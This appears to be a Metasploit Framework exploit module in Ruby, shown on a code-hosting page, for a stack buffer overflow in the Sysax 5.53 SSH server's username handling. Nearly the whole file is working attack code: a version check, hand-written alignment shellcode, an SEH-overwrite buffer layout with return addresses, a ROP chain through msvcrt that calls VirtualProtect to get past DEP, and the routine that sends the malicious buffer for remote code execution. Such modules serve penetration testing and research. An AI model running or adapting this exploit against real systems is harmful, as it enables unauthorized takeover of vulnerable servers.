243 lines
6.0 KiB
Ruby
243 lines
6.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info={})
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super(update_info(info,
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'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in Sysax's SSH service. By
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supplying a long username, the SSH server will copy that data on the stack
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without proper bounds checking, therefore allowing remote code execution
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under the context of the user. Please note that previous versions
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(before 5.53) are also affected by this bug.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Craig Freyman', #Initial discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '79689'],
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['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
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['EDB', 18535]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x3a",
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'StackAdjustment' => -3500
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "seh"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
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{
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'Rop' => false,
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'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
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}
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],
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[
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'Sysax 5.53 on Win2K3 SP1/SP2',
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{
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'Rop' => true,
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'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Feb 27 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptInt.new('RPORT', [false, 'The target port', 22])
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], self.class)
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end
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def check
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begin
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connect
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banner = sock.get_once(-1,5)
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disconnect
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if banner =~ /SSH\-2\.0\-SysaxSSH_1\.0/
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return Exploit::CheckCode::Vulnerable
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end
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rescue
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end
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return Exploit::CheckCode::Safe
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end
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def load_netssh
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begin
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require 'net/ssh'
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return true
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rescue LoadError
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return false
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end
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end
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def get_regular_exploit
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#
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# Align the stack to the beginning of the fixed size payload
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#
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align = "\x54" #PUSH ESP
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align << "\x58" #POP EAX
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align << "\x04\x08" #ADD AL,0x08
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align << "\x8b\x18" #MOV EBX, [EAX]
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align << "\x93" #XCHG EAX,EBX
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align << "\x66\x2d\x10\x04" #SUB AX,0x361
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align << "\x50" #PUSH EAX
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align << "\xc3" #RET
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#
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# Our payload limited to 1024+4 bytes
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#
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p = make_nops(4)
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p << payload.encoded
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#
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# Craft the buffer like this:
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# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
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# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
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# for the IP length, so the next 9404-byte space will begin at a consistent place.
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# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
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# partial-overwrite to allow a null byte in SEH.
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#
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buf = ''
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buf << rand_text(392, payload_badchars)
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buf << rand_text(20, payload_badchars)
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buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
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buf << p
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buf << align
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buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
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buf << [target.ret].pack('V*')
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return buf
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end
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def get_rop_exploit
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junk = rand_text(4).unpack("L")[0].to_i
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nop = make_nops(4).unpack("L")[0].to_i
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# !mona rop -m msvcrt
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p =
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[
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0x77bb2563, # POP EAX # RETN
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0x77ba1114, # <- *&VirtualProtect()
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0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77bb0c86, # XCHG EAX,ESI # RETN
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0x77bc9801, # POP EBP # RETN
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0x77be2265, # ptr to 'push esp # ret'
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0x77bb2563, # POP EAX # RETN
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0x03C0990F,
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0x77bdd441, # SUB EAX, 03c0940f
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0x77bb48d3, # POP EBX, RET
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0x77bf21e0, # .data
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0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
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0x77bbfc02, # POP ECX # RETN
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0x77bef001, # W pointer (lpOldProtect) (-> ecx)
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0x77bd8c04, # POP EDI # RETN
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0x77bd8c05, # ROP NOP (-> edi)
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0x77bb2563, # POP EAX # RETN
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0x03c0984f,
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0x77bdd441, # SUB EAX, 03c0940f
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0x77bb8285, # XCHG EAX,EDX # RETN
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0x77bb2563, # POP EAX # RETN
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nop,
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0x77be6591, # PUSHAD # ADD AL,0EF # RETN
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].pack("V*")
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p << payload.encoded
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#
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# Similar buffer structure to get_regular_exploit
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#
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buf = ''
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buf << rand_text(392, payload_badchars)
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buf << rand_text(20, payload_badchars)
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buf << rand_text(1012, payload_badchars)
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buf << p
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buf << rand_text(9204-buf.length)
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buf << rand_text(4, payload_badchars)
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buf << [target.ret].pack('V*')
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return buf
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end
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def exploit
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#
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# Load net/ssh so we can talk the SSH protocol
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#
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has_netssh = load_netssh
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if not has_netssh
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print_error("You don't have net/ssh installed. Please run gem install net-ssh")
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return
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end
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#
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# Create buffer based on target (DEP or no DEP)
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# If possible, we still prefer to use the regular version because it's more stable
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#
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if target['Rop']
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buf = get_rop_exploit
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else
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buf = get_regular_exploit
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end
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#
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# Send the malicious buffer
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#
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pass = rand_text_alpha(8)
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begin
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print_status("Sending malicious request to #{rhost}:#{rport}...")
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ssh = Net::SSH.start(
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datastore['RHOST'],
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buf,
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{
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:password => pass,
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:port => datastore['RPORT'],
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:timeout => 1
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})
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::Timeout.timeout(1) {ssh.close} rescue nil
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rescue Errno::ECONNREFUSED
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print_error("Cannot establish a connection on #{rhost}:#{rport}")
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return
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rescue ::Exception => e
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if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
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print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
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return
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end
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end
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handler(ssh)
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end
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end
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=begin
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Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
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relying on net/ssh.
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=end
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